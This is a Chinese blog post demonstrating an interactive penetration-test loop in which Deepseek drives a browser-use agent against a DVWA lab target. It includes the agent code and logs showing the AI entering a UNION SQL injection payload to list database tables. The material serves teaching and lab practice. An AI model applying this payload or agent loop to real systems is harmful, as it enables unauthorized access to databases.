但渗透测试有渗透测试的特点,很多时候是逐步探索的,这时候,交互式特别重要:
因为人知道想干什么,但不知道怎么干。大模型知道怎么干,但并不知道想干什么。二者结合,人指挥机器干活,才是理想方案。
代码说明
这个实现比较简单,Browser-use的agent有个add_new_task的功能,基于此,加个循环,人不停输入指令,Deepseek和browser-use就合作继续向前操作,直到退出。
代码比较简单:
agent = Agent(
task=(
'1. 连接http://192.168.65.97/dvwa/index.php '
'2. 这是一个DVWA的靶机,使用默认密码登录'
'3. 进入DVWA Security,将安全级别设为low,然后提交'
),
llm=llm,
use_vision=False,
browser_context=context,
)
await agent.run()
while True:
user_input = input("请输入任务内容(输入'q'退出): ")
if user_input.lower() == 'q':
print("程序已退出")
break
agent.add_new_task(user_input)
await agent.run()
完整的代码在https://github.com/SunZhimin2021/AIPentest/blob/main/Tools/interactivewebpentest.py
测试效果
响应有点慢,不再录屏。前段跟上一篇是一样的,登录到dvwa,再把安全级别设到低(方便测试)。
测试时,在登录成功dvwa后,输入一个指令:
进入SQL Injection页面,使用SQL注入的方法,获取数据库的所有表,并列出来
浏览器会进入该页面,并进行尝试
INFO [agent] 👍 Eval: Success - Navigated to the SQL Injection page
INFO [agent] 🧠 Memory: Starting with the new task. I have completed 1/10 steps
INFO [agent] 🎯 Next goal: Perform SQL injection to get all tables
INFO [agent] 🛠️ Action 1/2: {"input_text":{"index":33,"text":"1' UNION SELECT null, table_name FROM information_schema.tables -- "}}
INFO [agent] 🛠️ Action 2/2: {"click_element":{"index":34}}
INFO [controller] ⌨️ Input 1' UNION SELECT null, table_name FROM information_schema.tables -- into index 33
INFO [controller] 🖱️ Clicked button with index 34:
INFO [agent] 📍 Step 8
INFO [agent] 👍 Eval: Success - Performed SQL injection and retrieved table names
INFO [agent] 🧠 Memory: Starting with the new task. I have completed 2/10 steps
INFO [agent] 🎯 Next goal: Extract and list all tables from the database
INFO [agent] 🛠️ Action 1/1: {"extract_content":{"goal":"Extract and list all tables from the database"}}
INFO [controller] 📄 Extracted from page
浏览器出现信息:
然后注入成功,列出数据库的所有表:
后边要干什么,看你自己发挥了,大模型会按要求执行,还比较准确。
小结
用交互式的方式做渗透,更符合当前的渗透测试习惯。由于渗透需要各种技术能力和工具能力,对人的要求比较高,导致渗透测试比较难。
现在很多任务Deepseek可以干了,渗透会轻松些。当然,Deepseek也不可能所有的东西都会,所以,这个是把deepseek作辅助手段,但确实很有用。
END
关联阅读
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...